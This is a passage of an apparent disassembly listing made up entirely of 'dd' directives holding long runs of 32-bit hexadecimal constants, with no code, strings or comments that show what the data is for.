1FD7EC88h, 5A42CFCEh, 0A7E9159Dh, 78EF2335h dd 0E85E0FABh, 0D5E588DAh, 27F8E2Bh, 0B9E0795Ah, 0DACBAFF8h dd 0D87509DFh, 77EF7CEAh, 0CB163DADh, 0B669D1B2h, 7A58ED80h dd 3F1914FCh, 7FDF6004h, 0E90E7AF3h, 0B8C3B09Ch, 9C638363h dd 9154F379h, 6AFABFA1h, 476E3B5Ch, 0B5445691h, 77011FAEh dd 9B679802h, 6CB8BAEFh, 849518F3h, 0F644DDE8h, 308F3616h dd 2997FF6Dh, 0FA17F8E5h, 25FC6D21h, 446608C7h, 0DB60250Ch dd 53134FB5h, 0A09F4BB7h, 0A47D9B9Eh, 0EC92CFF4h, 55D4A667h dd 0CC9A527Ah, 8352AF74h, 9DB3DDA5h, 35BBE01Dh, 0F07CE7DAh dd 3EC198B3h, 9A5A95D0h, 0BB3E3A62h, 3FBD6550h, 10215DEh dd 8E107428h, 8E146A80h, 3799D5E4h, 374416Ah, 31B7435h dd 0B6D13B2Dh, 7E573AEAh, 8D16B879h, 68A50A72h, 7E326801h dd 0CEBF7A31h, 0DB390E19h, 38279E9Fh, 1A2D8A03h, 1DC7BE2Ch dd 866CF438h, 0EA9CDE94h, 1E7065F6h, 1CFDEFCh, 5483B061h dd 793C32Ah, 0DD577CB1h, 3A2EA87h, 5587E1B0h, 0B36A14CBh dd 7C79FBEEh, 0A05D2EDFh, 0A46757CBh, 0DD3E2F3h, 434B3040h dd 20E9C5E1h, 997A5190h, 5B4BD811h, 81857383h, 7BC97B06h dd 70D4ACD2h, 9E1D2290h, 0A6A8F04Ch, 7DA057D0h, 478FE70Bh dd 0DA898831h, 0D7349C85h, 2D315C51h, 8505D24Bh, 5C79DEE6h dd 0CB7250D6h, 2F02C721h, 0CA70ACB1h, 0D6AE1950h, 0E3673050h dd 3706E547h, 5A81ED21h, 6EE47F1Dh, 0DCF1B83h, 0D4E6FCDDh dd 0A1DA8196h, 0F0446025h, 6920DA41h, 0F3A81917h, 38C76679h dd 9B852A45h, 0F99381CCh, 0F6F3AA65h, 936DBF4h, 535395A5h dd 6F30571Fh, 46FDAF79h, 0D02B5CC9h, 18368F3Dh, 6CD6DC1Bh dd 7EF45F9Fh, 0E4930F2Ah, 9E287041h, 1AAD2D27h, 0D9774FFEh dd 0F802544Dh, 0E55DCA89h, 662B3778h, 175B6AA9h, 0F6D7129h dd 0F6B36081h, 0E5192438h, 0AC66AD15h, 0BD45207Eh, 0F80D4FFEh dd 8045D5B2h, 5EA6CF0Ah, 0FE8C14BBh, 655A3A68h, 233FB042h dd 6199EE95h, 0CF6E6B23h, 0A6850995h, 0A88C2761h, 0EE623881h dd 4FC74A9Ch, 0BC57C471h, 0C27D2FFAh, 293BC9ABh, 55C19ACEh dd 0E9FB12D2h, 514AC982h, 0C3C6A045h, 83F22CC7h, 0F0ABD0E8h dd 679A6B69h, 0B5E2E619h, 320AAF97h, 28ED07FBh, 433D3BADh dd 36A8D0CCh, 0EA3C665Ah, 5045F9FEh, 3E41AACh, 72C67F5Dh dd 9EF10896h, 0B962E110h, 7D80F003h, 85A89AEFh, 0C730F785h dd 4D6459A8h, 1899F08Ah, 6094B63Ah, 0C0CCDB40h, 3BE86F02h dd 0E034386h, 269A7650h, 55584BB1h, 0D3DF7434h, 0CF6B79EFh dd 0A792575Ch, 0B77EBC35h, 466BB3F1h, 0D978DC08h, 5E399519h dd 0F89C0869h, 0A0611346h, 0F49C7C70h, 0E9943E55h, 1274AC82h dd 6B001B17h, 0C5AFE660h, 23D50512h, 0A383BBD9h, 85A58C8Ch dd 0FBB864F8h, 0BBF09185h, 6C272E5Ch, 0B9A07445h, 0B9D5221Dh dd 59FF892Fh, 7370A9F2h, 4A68E1E6h, 2E61C695h, 69169ABDh dd 1C44EAAEh, 0F7FCE7Ch, 0A0AFF779h, 223DF087h, 4A5472A6h dd 47191664h, 8BD9CAF4h, 864C026Ah, 2783CAD9h, 0F18568FFh dd 0ACBB124Dh, 8E9BF4F8h, 0E6AE868Eh, 0B570CBCh, 12711B1Bh dd 0FD9D6851h, 4000EB8Ah, 63BD887Ah, 4174D1D4h, 0CA4CDE05h dd 0F5D16260h, 48015DFDh, 0E73839CEh, 0FFE6A759h, 7C035015h dd 0AD2724A0h, 4615706Dh, 881D145Ah, 145DDEF6h, 47C48907h dd 27DC8306h, 6297E848h, 0E5A7BC42h, 0D36A16DCh, 28EE0B20h dd 0E6FFE428h, 0E2EAA23Ah, 77555802h, 0D3C7324h, 0C2E71DB3h dd 505F434Dh, 67B34F56h, 6B367690h, 0A514AE0Eh, 45E890D2h dd 0CD9BC12Ch, 6CB8A46Dh, 0CDBE6D5Bh, 0CC4AC1ECh, 0A346CF28h dd 3FB2E615h, 204948EDh, 0E9440583h, 0A2A736A2h, 8A00AEDEh dd 57E711AEh, 2346FCCBh, 95D1422Dh, 792E945Fh, 1FF67373h dd 0F47BB8A0h, 66DAFE06h, 29392F4Eh, 0A68896CBh, 6A941BEBh dd 48B02683h, 2E815ABDh, 4C425AAh, 0FF82AA16h, 0F649FB5Eh dd 0E66F22Dh, 667FDC87h, 0E7C786AAh, 5A8609E3h, 0BB800735h dd 9D805453h, 0B086F0F7h, 31BE5B66h, 414ECAAFh, 0CF80987Ah dd 0A5F84347h, 85D45D83h, 0D17093F9h, 0B7BD728Eh, 0E6DE0440h dd 459E04E9h, 9148BBF2h, 0EEAA7A50h, 113A0AFDh, 0E740A3E4h dd 1C67AC2Ah, 0FDE0371Eh, 6E61C1Dh, 1CFF5647h, 2BD3400Fh dd 70679C7Dh, 781875F1h, 63AB2D48h, 0DE22FE59h, 951C2BCEh dd 93542DD7h, 5E2A1E3Ah, 3100E911h, 766CFAF1h, 0CE46B3E5h dd 0C2507D1Eh, 1BD5FC11h, 6C594401h, 244E8AA0h, 0ECFA108Ch dd 4F76323Bh, 0E82EC7E2h, 0A828079h, 3748CF7Ch, 21B4A67Ch dd 0E475D87Dh, 3B85DC7Eh, 41B7078Ch, 9E485589h, 3B6A045Ch dd 7115A429h, 637A7733h, 9752E5F2h, 0A831A0A1h, 0A376296Bh dd 557694A3h, 11EF68D5h, 42CA9553h, 28EE1F57h, 0C94DDA3Bh dd 0A84989EEh, 6939F653h dd 725561A7h, 0DF92E0C0h, 0DA1CB7D2h, 0F33B6CC3h, 0D2B87430h dd 0FBB1FACFh, 0CE45D96Ch, 0B36AA827h, 3526925h, 2F9AECEEh dd 8D632701h, 7FEB62E5h, 3E6F97D7h, 0F65BB07Ch, 0FE6114E5h dd 52373249h, 0F3F57E2Eh, 75762593h, 0C53A7111h, 0A128C9E1h dd 0AD3DD4E8h, 0D79D49B5h, 0F29F329Ch, 6FEFF4BFh, 9E177AE7h dd 659377B8h, 0CAB3CB3Dh, 36673DF8h, 0A5586C75h, 0DEC007C8h dd 6AD87876h, 3E1A7305h, 0D9E522E7h, 446BFBADh, 5D26BA77h dd 59228E31h, 7E302277h, 202AD02Dh, 0EA0CF4DAh, 0AD8DDD08h dd 495EA0FAh, 301C85D5h, 0BBAF7C50h, 164B033Ch, 9C80624Dh dd 640E7E41h, 0B0848CDCh, 0E064DA65h, 2A35BA66h, 0FC18D7ACh dd 0CC04C71h, 4E6D824h, 8DCC8AD6h, 0E3578046h, 0BBC5ED90h dd 1A19C3B9h, 461474Bh, 28B87602h, 0D0A31735h, 0FC00B773h dd 4BF4DB24h, 0FC719C99h, 860D95FBh, 2589A4A6h, 8760FA31h dd 0B2592C37h, 0F35854F5h, 9A7538FAh, 4095F516h, 0E42671D9h dd 0A890667Dh, 5A61C2F2h, 4C4E68CFh, 0F6AD09D9h, 64B01DD1h dd 6C999581h, 0F5447E7Fh, 0D0C19D3Bh, 1EDEC1E5h, 71660CFBh dd 46F6DBF1h, 77BBAEF6h, 276DC511h, 91068AF1h, 7B531369h dd 0E075C668h, 5E754EF0h, 968F817h, 89ED006h, 12741694h dd 0E6B87E3Ch, 98DD1244h, 1260CEBh, 0A1B9A738h, 0E398F682h dd 0FD1B83A6h, 329C8EEBh, 0AEEA2258h, 7F02C66Eh, 0A17AD818h dd 0B3F76D14h, 887BEE76h, 213236E9h, 0C31D3AFBh, 0D0FF776h dd 6E81330Fh, 5BF49C50h, 0E507C32Bh, 0F960B369h, 0FB7C79F0h dd 3D57531Bh, 0C03F74C6h, 0EE39FC8Ah, 9BAEE427h, 0B4B5EA57h dd 8E741BD8h, 4AC0972h, 0D80EF0C9h, 6E06337Eh, 64506143h dd 953A1E91h, 5A6FC2F9h, 4F96C801h, 4242121Bh, 3400C507h dd 0B8E63511h, 1A9685CDh, 671B6AA5h, 9EF6A9C1h, 6F9CE6DDh dd 9D5B80D4h, 8BF10B36h, 0F8351E4h, 517D957Ch, 2CF696BAh dd 0EF48A4C0h, 50C2EFCAh, 0EA006BA0h, 8B7D4AD0h, 0CE6C974Bh dd 0E4A21424h, 74884069h, 0F6D1462Fh, 475942Dh, 0B43D5AF8h dd 72AF19E2h, 0CEDDC78Dh, 36F0A95Eh, 99909180h, 0C1F02403h dd 0A35B36B9h, 63EB2FAFh, 13DE040h, 791739Bh, 0BD046F79h dd 9A678FEBh, 0FB5D6D1h, 550FD716h, 6ACAA813h, 7F832E61h dd 7382A9h, 0E58ECE2Ch, 414AE00h, 467772D8h, 5EF34A29h dd 400D39F7h, 119303E2h, 9A3ACC5Eh, 81714A6Fh, 21FADD6Fh dd 6CC88274h, 4D408C54h, 2080814Fh, 0AE65D633h, 68981049h dd 0C3A54C9Ah, 3BA2EE79h, 0A42A692h, 0CD16D278h, 0F8AFD524h dd 5FEF25EEh, 0A8108B76h, 5622153Ch, 530FFB1h, 73A3AD34h dd 0AFC3FD9Ah, 0FCCE6E5Fh, 9C7AD251h, 5DEBB2A3h, 25E5F7CCh dd 4057C479h, 28ADDB31h, 5C359FA5h, 97371C5Eh, 8F8676Ch dd 3E885B22h, 0C2F3BC88h, 0C23FD4E0h, 0DB711EBDh, 483DEA04h dd 22A0370Bh, 0B2CF7DECh, 4B0DA6Eh, 0CAD0A28Bh, 55500C6Eh dd 43F4E407h, 0DC67AB54h, 212507F5h, 0BFF74B04h, 0E25E631Eh dd 1F159968h, 3CAB5CBEh, 0CE669379h, 0E97438Bh, 7DF7FE74h dd 492D3DEDh, 0D0AF4763h, 8AB2643Bh, 5E5C6E2Dh, 0D49838A6h dd 961AC86Eh, 41949F0Eh, 2C1E0D65h, 386767BCh, 30100B8Fh dd 97F8B6F3h, 8AF43AACh, 0EE132A72h, 0A3715F7Eh, 25B60ED7h dd 789AD3CDh, 0C6E2BA59h, 0F65EA364h, 0D81690EFh, 0EF99B300h dd 52123B73h, 5C8C650Ch, 7109AD5Eh, 0EA94D2B8h, 82EB834Ah dd 740948B5h, 659B853Ah, 0E2C3E286h, 0B0E74E3Bh, 0F1B9F3D9h dd 72F93F25h, 69B75352h, 0A64E61B4h, 22FCC831h, 0C1E9CC9Ch dd 0D4F381F8h, 4CA661CAh, 0DF737B02h, 9D9ECAADh, 7A294C91h dd 0F58640AAh, 9BD05E95h, 0E4C68B85h, 1DD9D96Bh, 0E958E9BCh dd 15D2B83Bh, 0E3ED42CDh, 7FF96AD0h, 450BAC35h, 65F81736h dd 0ED33EE86h, 3C0F4647h, 6F5DD96h, 2CAE84A3h, 99276460h dd 0EAD717EAh, 99FAD200h, 0ED0F3BEDh, 74FEA5CCh, 0B552D750h dd 538691B8h, 0FC2769F3h, 94F8679Dh, 61A7057Fh, 0BD200D9h dd 64B209F3h, 0D17C3F83h, 0D5C064A3h, 0BB3F309h, 0F1B70EDEh dd 8494B50h, 0CA9E4C5h, 13821B99h, 0ED60B6F5h, 0D378F88Bh dd 94181418h, 8ECD805Fh, 0DC58CF0Ch, 0CC99AACBh, 24FC775h dd 1F404906h, 419F8472h, 9EF08C3Eh, 3644456Ch, 6BE62BE8h dd 421C7985h, 62E8B9F2h, 6A0230BEh, 0B9A3B054h, 9E10BA2Ah dd 70B7F7FAh, 0A79D5E2Dh, 0C95D6012h, 727D190Ah, 0FA11B792h dd 34130314h, 1CE878FDh, 4F4AA71Ch, 4BC19445h, 20226658h dd 985565D4h, 92526CFh, 308C86D5h, 860B683Bh, 0D51711DAh dd 0BF3A074Ch, 7C27D482h, 0C7030AF6h, 585347DBh, 6914412Eh dd 0BCC0CEDBh, 0A72D58Ch, 720B6D56h, 8ED3183Bh, 18F316C8h dd 9748A072h, 7EB8742Eh, 66D17D2Ah, 0DC5A151h, 29F6BA2Dh dd 0AB80A0EDh, 1AC8486Eh, 0B9C922D9h, 49567D10h, 203F7066h dd 6BC3F88h, 56D51E93h, 298687FCh, 81034DA2h, 15E0E450h dd 0B88472B5h, 0AACDF55Dh, 0D416AAC4h, 0B3B7664Ch, 0B9B44F25h dd 2EC46734h, 6D502B07h, 5C6C617Ah, 581D0D73h, 7B81F86Fh dd 0CB3DBB6Dh, 0A38BB6F6h, 5396B894h, 0F69A7988h, 7BDD8FE8h dd 0BCE7DC44h, 22675DFDh, 1D2B615Bh, 1ED3BA5Ah, 3A0296FAh dd 8460FA7Fh, 5559411Eh, 1D6B888Ch, 85B1ADDh, 478B9F41h dd 0E14F3A35h, 85D99641h, 2ED588FCh, 43A1880Eh, 0A8FCDD04h dd 8B67731Fh, 1911039Fh, 3BB73AC2h, 5E13CA10h, 672B881Bh dd 2BC96B95h, 0AAD3D930h, 0BEDCAAF5h, 0CC4B0320h, 64F1F983h dd 0E01E3752h, 0C87E5115h, 245E6B0Ch, 9186414Ch, 870CFCBEh dd 775353C6h, 40F9E190h, 97504929h, 0FEF7CDA1h, 85133F20h dd 0C8A6B54Ah, 2319F20h, 61A69506h, 0C43E3E6Eh, 639876E8h dd 1B451D48h, 1B6BEB41h, 0D32C44EBh, 506D717Fh, 6B877192h dd 8D154F44h, 0AC0BA8A8h, 0A4B40F09h, 61A405BBh, 11B1B392h dd 48E9D9C0h, 0C6860C8h, 0C51FB1E3h, 6D6B42D7h, 2663CCDDh dd 790D88E4h, 0E9F0000Eh, 855BDE66h, 0FB7D4C3Bh, 0CAD3C5BDh dd 0D20D9DC3h, 10F3E32Fh, 0C261D114h, 229C0442h, 6A6A5E09h dd 0A471C645h, 0B7736588h, 0E2577518h, 1DFEF8DCh, 4FF04BE3h dd 0E2ADC09Fh, 9977D751h, 5739C4A0h, 30B1A6D0h, 0BC2D5462h dd 0F474BCCAh, 0D0BD6E4Dh, 0D434C08Eh, 0A76A8360h, 19CB5BAAh dd 14C76F2Dh, 57064B87h, 0CFD63A7h, 23B12355h, 0ACDE478Bh dd 0ED648699h, 3A838EAEh, 0C0F58C22h, 0ACBC8824h, 323198E6h dd 9B073528h, 4AA7209Fh, 3F8D9056h, 551ADD69h, 0D1FBCF97h dd 888B057Fh, 657C4BDCh, 0B88DF5B6h, 48043D0Eh, 163158F2h dd 25254C36h, 4CCF8B18h, 3A96D48Fh, 94CF2183h, 0E2FA6FF8h dd 0A3297930h, 80B55BE8h, 0FA45DF37h, 0F9670605h, 0ABA623F8h dd 55E5B1A5h, 0B5251A5h, 0AD988DB6h, 1F4FD1A2h, 791412ABh dd 0E6714FA7h, 2FA62968h, 442F689Ch, 0C19EC8EAh, 23EF2528h dd 94B4C1F1h, 210D829h, 7EA8183Ah, 0A76FDBBEh, 0D183B718h dd 4EA74AFh, 7E35CB5Dh, 237D6DD8h, 0E2972397h, 8E0956AFh dd 8D81417h, 40424E27h, 0D90EDAEDh, 0EE2EB981h, 0D98E567Bh dd 0E6B84004h, 0E6B12731h, 720DC2B2h, 7494AB4Ah, 38FBAFD2h dd 14219D69h, 52E3C92Bh, 0F72DE2A1h, 4435AB91h, 0E1D5EB7Fh dd 0F8FD540h, 59F32042h, 5EE608B9h, 2E8BC30Ah, 0D23806E1h dd 9DE9CCB0h, 0BBBAB6C8h dd 0F3E33F35h, 77537FDh, 0E17434A0h, 1857290Dh, 0C3DC3BEDh dd 542DE795h, 6F33A112h, 1B06C4Eh, 0F2380B13h, 382F6DA8h dd 199871AAh, 997148FCh, 0DC78B89Eh, 0CA238AF1h, 2EF0BCBDh dd 0D67F1F0Bh, 52894B4Ah, 0BFDB1A4h, 48D45E0Fh, 9F9A08BBh dd 6C3536EFh, 3AA812Bh, 0DF8E7026h, 97A7B8FFh, 0BF3456AFh dd 291CB368h, 6C9E938Ch, 0D990B64Eh, 0C01A2ECDh, 9D04C90Fh dd 0E56B06BAh, 58E27A71h, 0E8719F16h, 2D2696A0h, 0DB517ACh dd 0BBD9C749h, 288DDC2Bh, 0D4F83D40h, 0D87DFA86h, 97DA990Fh dd 272592EEh, 2DCFC335h, 33D8D8E8h, 1216D125h, 79E3E014h dd 9151A3B0h, 3A6BEDACh, 0F8E5F0B0h, 6CEBFE22h, 2AE4414Ah dd 11596598h, 32E35C3Fh, 3DE6BF22h, 0F62CBFDDh, 4D87D680h dd 5084DE0Eh, 0D0E79771h, 9835245Bh, 1028DEC4h, 31E5F63Fh dd 0D90D471Dh, 6732ED14h, 3329BEE4h, 0F02C7689h, 0CA8CF7FCh dd 130D7BA5h, 61297021h, 0B780912Ch, 64DF61DDh, 9E1C68DEh dd 36CB3455h, 77835DEh, 214CA637h, 50B1CBF0h, 6FFFA084h dd 72D11A98h, 9CA919E6h, 8087F7F6h, 0D9DE6AF9h, 504D1299h dd 7AD7FB0Dh, 6DFB67DAh, 0ADEBC3E3h, 7E21926h, 2DF6563Fh dd 400E6512h, 168E302Fh, 86F11B13h, 49F5E6Ah, 0A01E9F7Bh dd 505D4E91h, 6A69151Ch, 0AE2A9E2Ah, 3B166F1Fh, 4A0DE234h dd 39483C18h, 782B1D02h, 0FB9634F8h, 0E1A5A49Bh, 0DF0F9645h dd 89A38208h, 0BFC09C3Bh, 0A3F26646h, 2E439B19h, 92D44A02h dd 2B3DAFBAh, 0E1307688h, 70A94CAFh, 0D1BE1AC0h, 4968C486h dd 6A46CA4Ah, 0A1E65E0h, 8C3C3F7Ch, 916A632h, 0D5B6EFF2h dd 0E0CBD9A3h, 5C1D434Eh, 8375831Ah, 1C552026h, 15E9E38h dd 5B1EA521h, 0C3CDD925h, 0A142A0ADh, 0D3505960h, 0D09EABE1h dd 0BCAB774Ah, 3B1FDD2Bh, 9C73E98Bh, 28E471CFh, 1DD24909h dd 1B1ECF4Bh, 94C65DD5h, 5F9C8FEFh, 0CBCB03h, 27317E0Ah dd 1FB9E3h, 0A5FF2643h, 81C703EFh, 0C6196B42h, 71E90310h dd 514C6027h, 55534B26h, 0DDD26AD5h, 51EEE73h, 70EA0376h dd 164759DCh, 909C38FAh, 0A18655E0h, 0C640D7EAh, 0A832D2E7h dd 0EF8E3317h, 0A5282BE0h, 9D417543h, 2014BACCh, 192E0A5Eh dd 7FF6F7DAh, 0C1C9EFBAh, 0E513758Bh, 79EDFC53h, 0B827312Ch dd 0B01869A0h, 46E83935h, 0B014409Ch, 43BD2F0Bh, 0C744A716h dd 266C177Bh, 5A66E203h, 90297FFEh, 522A9713h, 0CC8DE260h dd 6FD657D6h, 9FF1277Dh, 1332DEF1h, 0D76FD6FEh, 8A99163Ch dd 0FF41C702h, 9391EE7Dh, 0A4624C20h, 546BBF52h, 5CC35C0Dh dd 689F25D8h, 82185C6Eh, 0F2DFCCC6h, 0EC10E77h, 0CD17A5D2h dd 0E614CF97h, 0E836F2F3h, 4B36BBDFh, 94750FEBh, 6182B7DAh dd 0B09F1B98h, 0D5299F12h, 0D5031555h, 0B9AEA575h, 0EE337C5Dh dd 8D9104Ah, 0C7A13A64h, 0B6921C37h, 0C0AECC0Ch, 0E6804B3Bh dd 8DFE5BB9h, 0A818187Bh, 0D9900E2Eh, 9A586E19h, 0ACDEDD42h dd 237C1D28h, 97102029h, 3A03910Dh, 0C6A48E47h, 0AECAE0DFh dd 5958A2FBh, 173A05C1h, 8D3D1776h, 3A6CA88Ch, 5E06FBE7h dd 3725CA4Dh, 0D701A4D4h, 61234D87h, 67D8C634h, 89F76846h dd 2017E3D2h, 0AC2734AEh, 346066F1h, 9F8E3A6Dh, 1FB9EA2Dh dd 153C73BFh, 0FFF02058h, 545BD689h, 0D68D47D3h, 0A897DA18h dd 2C076955h, 600BF475h, 0A95DA44Dh, 26285184h, 2A30CA37h dd 0FE84A2Dh, 0AA9C043Bh, 11538FF7h, 0D209AC7Eh, 96E2F378h dd 560E0012h, 871FC35Ah, 0C663367Ah, 1C068D2h, 4965C538h dd 0DBF40788h, 0FFEB99D4h, 7F3746A5h, 4C49980Ch, 3EBE2845h dd 0C5708FDCh, 0CE18BABAh, 0B370DCD9h, 0C369A84h, 0EB0C328Ch dd 0FA17276Ah, 441E64A2h, 34B0635Eh, 4C41D5CFh, 59182DD8h dd 1954B382h, 330F24EBh, 50490465h, 33C89A5Ch, 1733BEA3h dd 0F006A42Bh, 778CB9BAh, 12333FEFh, 0D1F919F9h, 42BC0611h dd 0DBA25A21h, 14159044h, 85366DBCh, 52103DF9h, 3869952Ah dd 0D378F6D6h, 0AE0D74C7h, 1992FADDh, 8AD87D51h, 70569D9Eh dd 9BEA5D15h, 54872A49h, 0C2B62BDDh, 0FD6C7A8Fh, 4C0CD8ECh dd 0FC11FEFAh, 0A9C0A78Dh, 0B8557508h, 0BFB6E41Ah, 0CF2A6A51h dd 29B9F836h, 88EBE7B3h, 0F8689913h, 9A776F06h, 0DC5228F2h dd 2E228CFFh, 0EEEBDEECh, 9186334Dh, 0C9D54BD7h, 864FBEDBh dd 0B50C3DA7h, 0F24AC723h, 0E8E28E0Dh, 0E6557E9Dh, 0F27566A4h dd 8FAA8C34h, 577858BAh, 466D4CB6h, 2C0E865Ch, 1611527Fh dd 57374E79h, 0C31719B4h, 0FED888AEh, 6F619EE0h, 75D845EDh dd 69A1AF3h, 0BB63126Eh, 0D3488086h, 633B9ADCh, 20C76834h dd 0EEFEA60Ch, 3A274FF2h, 1EAE9B68h, 2868EAEh, 456BF441h dd 0C559BA5Ch, 0B6366D10h, 100C786Bh, 205DAD46h, 9D4113E0h dd 0C41CF05Dh, 0D7B553F1h, 30F40AC4h, 9C8A22B6h, 1D87B486h dd 7E16851Ah, 0DC7F4C2h, 644EBEE9h, 40653032h, 0BC74CECBh dd 68AB85BDh, 598476A1h, 0B0B98E54h, 62E61D92h, 0E31B43FFh dd 41FB6B8Ch, 8188CBA7h, 1BE5FF7Dh, 1544EE77h, 0F89382D2h dd 0E311A47Dh, 0F4810Bh, 9CDCEB2Eh, 334A492Bh, 0BFF16297h dd 0CB52E7AAh, 0ED7DB3C9h, 5B5690E2h, 0C81529F7h, 477C53D1h dd 0E5E32EBFh, 0C2018D9Dh, 8DEBC246h, 0DE49734Ch, 0DC512111h dd 9FA5E5D9h, 1102570Eh, 0A62B4189h, 0D2FAB36Dh, 0F57FABC8h dd 0C36C97CEh, 14E54D1Bh, 0BDD2EE1Ah, 19522C59h, 74B37FE4h dd 6950EDC7h, 1672B0DBh, 33F689B4h, 0CDC48A68h, 7E81ABEBh dd 9A81BB8Bh, 0DA076144h, 5C5FDB49h, 38789F0Fh, 0F4D193F4h dd 0C734AD9Fh, 660CD87Bh, 0E5687933h, 57E2FFCh, 7C617929h dd 0AE94F5B1h, 0E45B3ED8h, 40EF356Dh, 704AA8FAh, 64AA18E9h dd 0BBC23F91h, 0A72582F4h, 0B7CEBC08h, 88FB50Eh, 68B60ECBh dd 870D6E9Dh, 1636968Eh, 9BA11D04h, 8B4C0559h, 0AE138160h dd 0BDC9EDB9h, 8450B3DFh, 8E4B2E39h, 329345CCh, 975BE157h dd 0EB48AF7Fh, 23FEA200h, 0F991559Fh, 0CF902D36h, 90246998h dd 0E456118Bh, 0C01596F9h, 669C96E3h, 61B50867h, 0F3174D30h dd 576DF172h, 0C0C23100h, 0C16BABB6h, 0EA007AB4h, 7F5DD3B2h dd 9920A33Dh, 0E946CFFAh, 5EC0570Bh, 8E4091A5h, 8768D887h dd 0F80ED2DFh, 814319D4h, 0DF946216h, 4A7397B7h, 0FC01C89h dd 0A3F22829h, 0C13514ACh, 10B9850h, 7C759750h, 36952E17h dd 8B21945Fh, 4BBE7C02h, 4341ED3Eh, 0C72E8C1Bh, 9CD2D804h dd 0DB982BF2h, 58C8104Fh, 0C611FA3Ah, 0E2E46741h, 803F876Ch dd 738689EFh, 9BC672E3h, 4712F389h, 2EDDDDF1h, 9878530h dd 0D5BE4070h, 4B63E4D3h, 9F6F352Eh, 8B86E768h, 0BC594EA6h dd 0F967FFA9h, 18EDAAA5h, 0FC9ED575h, 0D2C80BD5h, 30B9FB01h dd 0AE70046h, 62EC4A94h, 0B202E932h, 8213FD82h, 97DF57A3h dd 3CF02D88h, 7668BB41h, 91CEB0F3h, 0FB35A827h, 0C86E072Bh dd 0B1A57F65h, 9B1817DEh, 4F24354Fh, 3AE50ED3h, 0FA882278h dd 0B6D72DE9h, 3074ABEDh, 0D6932FACh, 0CE3AB5Ch, 74839574h dd 954EF2C1h, 0BC94362Fh, 0F0725E85h, 0C66B25BAh, 6E376810h dd 0A7AC86h, 0ED002A72h, 903D48C0h, 944BB327h, 175BAA1Bh dd 0AAF89129h, 694FD830h, 8D8DAE8Ah, 9E27F962h, 3F077A63h dd 210653E6h, 81734D3Dh, 4DF6CCAFh, 43F3FB8Ch, 0D69A318Ch dd 91611B13h, 0F940A5DAh, 4662342Dh, 0CF794EDEh, 7EB228DDh dd 42D797DFh, 4FA81932h dd 0C3BCB367h, 684302Dh, 10621040h, 280AFA58h, 902DBA5Dh dd 7B9DECEDh, 19C5DE7Ch, 40ABB5DCh, 87CB6CABh, 0EB02E2A2h dd 98EFECEFh, 0D70239A3h, 69A45AF0h, 635506A2h, 14FC77F9h dd 2D4A5CC4h, 0AFE8AA7Fh, 78880F7Fh, 382FEAC3h, 7B5B5121h dd 5AC6C6B5h, 9A239983h, 0B7557F20h, 40D093EAh, 55B76FA9h dd 1610EFFBh, 32A96615h, 0D73518E8h, 2789961Ch, 30BB9692h dd 0A7DF72C9h, 3DB63BC5h, 5F1C3154h, 4F75AB3Ch, 0CCED3766h dd 766A682Dh, 713FB09Dh, 0A6B56394h, 7BF9F41Dh, 568F0439h dd 0F6900D06h, 80D38FC2h, 28C8FE5Ah, 1AF5E76Ah, 0F19D154Ah dd 0ACBD70D6h, 0E5D60DE2h, 0BC45DBB7h, 1EFFBB58h, 222C7000h dd 9385F386h, 0D36F3A72h, 0E3B11291h, 7693E75Ch, 92AD2CD4h dd 110882E7h, 48CE2A60h, 7AC49FDDh, 86F34F23h, 612AB3F1h dd 0D2987F9Dh, 0CEC5C38h, 69771486h, 0A3A0BEA7h, 2270730Bh dd 795579D6h, 6FEC8626h, 7989AE7h, 0BF62E4AFh, 76392299h dd 1A7474D5h, 0D3E32856h, 43E4D7C5h, 43C45336h, 0D5A45BEFh dd 0BF6D84BAh, 411B14BCh, 5AD613F7h, 555C3CBEh, 4E51D4B9h dd 0FDFEEA16h, 0D2A695CFh, 0D6758081h, 0D64BA000h, 0A759BA99h dd 0F840B141h, 872FD58h, 0F97B62A2h, 0F8002454h, 0FCBA188Dh dd 557AEB0Bh, 6AB87B70h, 52F158ACh, 0A6567783h, 0C665E332h dd 536A784Fh, 0ED025A41h, 4C13509h, 9EAEEDBAh, 531F48F7h dd 114FF037h, 0BBAD8640h, 0B14AADFh, 47421A00h, 0EFF7643Ch dd 4BCC600Fh, 9B158140h, 46EE2D34h, 99A2EBE5h, 0AE4FDF08h dd 4B124BBh, 71E609h, 315BBAB7h, 0A4BBEAB8h, 45D6B219h dd 0A15093F9h, 2F57FE04h, 27AA2B14h, 1AFF3479h, 0C07A88A1h dd 6A640B13h, 0B4389193h, 0D8D7385Dh, 8F7D3583h, 0F01ED223h dd 0FAE9B186h, 26DF4AD8h, 89911D4Bh, 0BD45C780h, 0F2D94F9Dh dd 1B58D9BAh, 0D3C322EBh, 9D881EECh, 9DBA908Ah, 67CED6E3h dd 0FDC86026h, 0E3A01729h, 855449EAh, 3BC4F1AAh, 0AF2F3010h dd 20788AAFh, 2C240D99h, 0B84E8A70h, 0C2A617D5h, 1B0008B2h dd 91EFD6F0h, 2B05BFFh, 8EA88724h, 35576BB2h, 0E7844B03h dd 0D616EE84h, 61051173h, 37EBD5CCh, 27AF2E2Bh, 7EA83667h dd 0E7F4551Fh, 980B205Ah, 0C10EDC88h, 0D3C92793h, 2777F8F1h dd 0A9C50364h, 3B3B145Bh, 3C5EA5F0h, 0BD572A3Bh, 0CE6E52A5h dd 21EB35AFh, 55290FC1h, 5ADA7EEh, 583FA485h, 7F8375AFh dd 0F51E334Ch, 19A64AD2h, 39952D4Bh, 8A5083DFh, 0F426290h dd 4B5FEB97h, 20337E76h, 0A6826C32h, 83038616h, 8911E996h dd 6582B9CBh, 9245206Ch, 0A3F8C19Bh, 0DFC8DF65h, 59D7642Ah dd 66AAFAD6h, 2CCB144Ah, 569A2B1Bh, 0D8804982h, 0BEBF441Ch dd 0E41F6886h, 111229h, 0E6D96B30h, 0B70D5AD4h, 397F0B05h dd 61999C64h, 487190E3h, 1E2A7F48h, 7CDEE155h, 425C86F5h dd 0F875351h, 0EC6C3636h, 0CD4BE05h, 707D41Dh, 870F282Ch dd 472A3739h, 0C28DD585h, 61669D81h, 0A1AA4113h, 2519709Bh dd 0E0D34EA2h, 0C7084A8Dh, 0BE5E1066h, 66E1F1F7h, 0BB5D087Fh dd 0EB8821B7h, 0C13D2638h, 7EFCFA35h, 0DB7215ADh, 463ADA60h dd 342356BEh, 0C0FC87D8h, 0C1072567h, 0FA0D22C8h, 9A7D0FC3h dd 0F21555F1h, 68ACB45Dh, 78AEC44Bh, 8E60493Ah, 5FA23849h dd 6F4658Fh, 0AC23DFF5h, 8F06044Ah, 7AD27C74h, 162FDF9h dd 